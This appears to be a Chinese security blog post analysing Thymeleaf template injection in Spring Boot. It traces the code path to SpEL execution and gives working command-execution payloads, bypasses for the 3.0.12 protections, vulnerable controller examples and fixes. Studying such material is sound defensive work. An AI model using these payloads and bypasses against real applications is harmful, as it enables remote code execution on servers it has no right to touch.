Thymeleaf 模板注入
简单介绍
Spring Boot 推荐使用 Thymeleaf 作为其模板引擎
Spring Boot 整合 Thymeleaf 模板引擎,需要以下步骤:
引入 Starter 依赖
创建模板文件,并放在在指定目录下
引入依赖
<!--Thymeleaf 启动器-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
创建模板文件并配置
spring:
thymeleaf:
cache: false
prefix: classpath:/templates/
encoding: UTF-8
suffix: .html
mode: HTML
在resources
下创建静态文件
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Test</title>
</head>
<body>
<div th:fragment="main">
<span th:text="'hello ' + ${message}"></span>
</div>
</body>
</html>
基本语法
${}
: 标准变量表达式*{} th:object
选择变量表达式
先用 th:object来绑定 blog 对象(th:object="${blog}"), 然后用 * 来代表这个 blog对象(*{blog})
@{..} th:href
链接表达式th:action
资源重定向th:each
遍历
模板注入分析
thymeleaf 3.0.11.RELEASE
搭建漏洞环境
spring-boot 2.5.0 RELEASE版
<thyeleaf.version>3.0.11.RELEASE</thyeleaf.version>
package com.roboterh.fastjsondemo.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class ThymeleafController {
@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "world");
return "hello";
}
@GetMapping("/cmd")
public String eval(@RequestParam String cmd) {
return cmd;
}
}
在index
方法中,通过Model对象绑定属性,进而通过return
寻找hello.html
进行渲染,而在cmd
路由下,通过接收传参cmd
进行寻找html进行渲染
具体分析
使用payload进行debug
首先在org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter#handle
方法中,开始处理用户的请求
@Nullable
public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
return this.handleInternal(request, response, (HandlerMethod)handler);
}
之后在org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle
中首先通过invokeForRequest
方法提取出了待查的模板文件名
Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
最后进入了org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue
方法中,将其转为视图名称
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue == null) {
mavContainer.setRequestHandled(true);
} else {
ModelAndView mav = (ModelAndView)returnValue;
if (mav.isReference()) {
String viewName = mav.getViewName();
mavContainer.setViewName(viewName);
if (viewName != null && this.isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
} else {
spring boot最终在org.springframework.web.servlet.DispatcherServlet#processDispatchResult
方法中,调用Thymeleaf模板引擎的表达式解析。将上一步设置的视图名称为解析为模板名称,并加载模板,返回给用户。核心代码如下org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression
最后到达了重要的执行逻辑org.thymeleaf.spring5.view.ThymeleafView#renderFragment
中
前面都是一些获取值和判断的过程,在之后的if
判断语句中有
如果传入的模板名中包含了::
就会将模板名使用~{name}
进行包裹后传入parseExpression
方法中,之后通过StandardExpressParser#parseExpression
进行处理input,即处理后的模板名
在其中调用了preprocess
方法进行处理操作
这里有一个正则匹配,匹配出了__xxx__
格式的字符串,在后面的逻辑中也分割出了__
前的部分strBuilder
和xxx
部分
之后将xxx
部分通过StandardExpressionParser.parseExpression
生成表达式,之后调用他的execute
方法执行,一直到了VariableExpression#executeVariableExpression
方法中调用了
形成了SPEL注入
Payload构造
所以构造payload的格式为: 首先SPEL表达式为xxx
需要有__xxx__
然后需要存在::
即最后的格式为__SPELexpress__::x
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::RoboTerh
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::RoboTerh
thymeleaf 3.0.12.RELEASE
版本差异一
细节分析
在这个版本中在util
目录添加了SpringStandardExpressionUtils.java
文件
在这个文件注释中有
/*
* Checks whether the expression contains instantiation of objects ("new SomeClass") or makes use of
* static methods ("T(SomeClass)") as both are forbidden in certain contexts in restricted mode.
*/
禁止使用new创建类和T()创建静态类
在执行表达式的时候将会经过该函数的判断
containsSpELInstantiationOrStatic:43, SpringStandardExpressionUtils (org.thymeleaf.spring5.util)
getExpression:367, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
obtainComputedSpelExpression:315, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
evaluate:182, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:282, ThymeleafView (org.thymeleaf.spring5.view)
render:190, ThymeleafView (org.thymeleaf.spring5.view)
render:1396, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1141, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1080, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:626, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:733, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1707, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
跟入containsSpELInstantiationOrStatic
方法中
其主要逻辑是首先 倒序检测是否包含wen
关键字、在(
的左边的字符是否是T
,如包含,那么认为找到了一个实例化对象,返回true
,阻止该表达式的执行
因此绕过这个函数的检测的方法:
1、表达式中不能含有关键字new
2、在(
的左边的字符不能是T
3、不能在T
和(
中间添加的字符使得原表达式出现问题
Bypass
可以在T
(
之间使用绕过的字符
%20
%0a
%09
%0d
%00
还可以fuzzing寻找
__${T%20(java.lang.Runtime).getRuntime().exec("calc")}__::.x
利用场景
针对的是传入的路径名可控
需要进行路径的拼接
类似这种:
@GetMapping("/admin")
public String path(@RequestParam String lang) {
return "en/test/" + lang;
}
如果是这种就会抛出版本差异二中的错误
@GetMapping("/home/{page}")
public String getHome(@PathVariable String page) {
return "home/" + page;
}
为什么呢?
因为第二种就会导致path和返回的视图名一样,就会抛出错误,当然,值得注意的是,如果不进行拼接,单独返回视图名,也会被拦截
版本差异二
细节分析
使用上面第二个版本的GetMapping进行实验
使用上面的payload但是报错了
View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.
应该是这版本做出了某个限制
同样增加了SpringRequestUtils.java
文件
在commit中的描述
Avoid execution of view name as a fragment expression if view name is contained in the path or parameters of the URL
如果视图的名字和 path 一致,那么就会经过SpringRequestUtils.java
中的checkViewNameNotInRequest
函数检测
根据报错找到详细逻辑在org.thymeleaf.spring5.util.SpringRequestUtils#checkViewNameNotInRequest
public final class SpringRequestUtils {
public static void checkViewNameNotInRequest(String viewName, HttpServletRequest request) {
String vn = StringUtils.pack(viewName);
String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
boolean found = requestURI != null && requestURI.contains(vn);
if (!found) {
Enumeration paramNames = request.getParameterNames();
while(!found && paramNames.hasMoreElements()) {
String[] paramValues = request.getParameterValues((String)paramNames.nextElement());
for(int i = 0; !found && i < paramValues.length; ++i) {
String paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
if (paramValue.contains(vn)) {
found = true;
}
}
}
}
if (found) {
throw new TemplateProcessingException("View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.");
}
}
在这段逻辑中,它不仅检查了请求的路径,而且检查了请求的参数,如果他们其中一个和传入的模板名称一致,就会导致错误的抛出
我们只需要令requestURI.contains(vn)
为假,就能达到我们的目的
虽然contains
方法不区分大小写,但是在pack
方法中已经小写化了
但是在UriEscape.unescapeUriPath
中一直跟进到了UriEscapeUtil.unescape
方法中也就是处理了+
%
符号
Bypass
这里有两种绕过方法
;/__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
//__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
法一:
因为在 SpringBoot 中,SpringBoot 有一个功能叫做矩阵变量,默认禁用,如果发现路径中存在分号,那么会调用removeSemicolonContent
方法来移除分号
法二:
将多余的/
去掉
利用场景
使用RestFul风格的api才可以
Bypass trick
在进行SPEL解析的过程中
org.springframework.expression.spel.standard.Tokenizer#process
方法中
以字符为单位遍历表达式内容,若当前字符为
a-z
或者A-Z
,则执行lexIdentifier
方法,在lexIdentifier
方法中,继续遍历表达式内容,直到遍历到的字符不是a-z A-Z、0-9、_、$
结束此次遍历,并将此次遍历的所有字符封装在Token
对象中,最后存储List<Token> tokens
中。否则走else
分支在
else
分支中,若遇到\u0000
、\r
、\n
、\t
、``不做任何处理,直接跳出switch
语句,并进入下一个字符的判断
所以%00 %0a %0d %09 %20
可以绕过
__${T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x
在
T
获取class过程中org.springframework.expression.spel.ast.TypeReference#getValueInternal
方法中
根据字符串
typeName
获取对应的Class
对象实例,跟入org.springframework.expression.spel.ExpressionState#findType
,发现通过SpEL
表达式上下文对象去寻找typeName
对应的Class
对象实例,在Thymeleaf
中,此时默认的SpEL
上下文对象为org.thymeleaf.spring5.expression.ThymeleafEvaluationContext
对象实例,可看到继承org.springframework.expression.spel.support.StandardEvaluationContext
对象,而StandardEvaluationContext
支持type references
,接着跟入org.springframework.expression.spel.support.StandardEvaluationContext#getTypeLocator
,发现默认使用StandardTypeLocator
,最后可以发现在
org.springframework.expression.spel.support.StandardTypeLocator#findType
方法,可以发现此方法在异常出现时进行了一次补救:当通过typeName
没有找到对应的Class
对象时,则拼接前缀java.lang
后继续获取对应的Class
对象
所以不用指定全类名
__${T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x
Payload
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::RoboTerh
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::RoboTerh
__${T%20(java.lang.Runtime).getRuntime().exec("calc")}__::.x
;/__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
//__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
不安全代码
spring官方对返回值的说明
Servlet Stack 上的 Web (spring.io)
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}
@GetMapping("/admin")
public String path(@RequestParam String lang) {
return "en/test/" + lang;
}
@GetMapping("/home/{page}")
public String getHome(@PathVariable String page) {
return "home/" + page;
}
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
同样就算没有return值也能够触发漏洞
根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
// log.info("Retrieving " + document);
}
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
修复方案
设置
ResponseBody
注解
如果设置ResponseBody
,则不再调用模板解析设置redirect重定向
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
根据spring boot定义,如果名称以redirect:
开头,则不再调用ThymeleafView
解析,调用RedirectView
去解析controller
的返回值
3.response
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析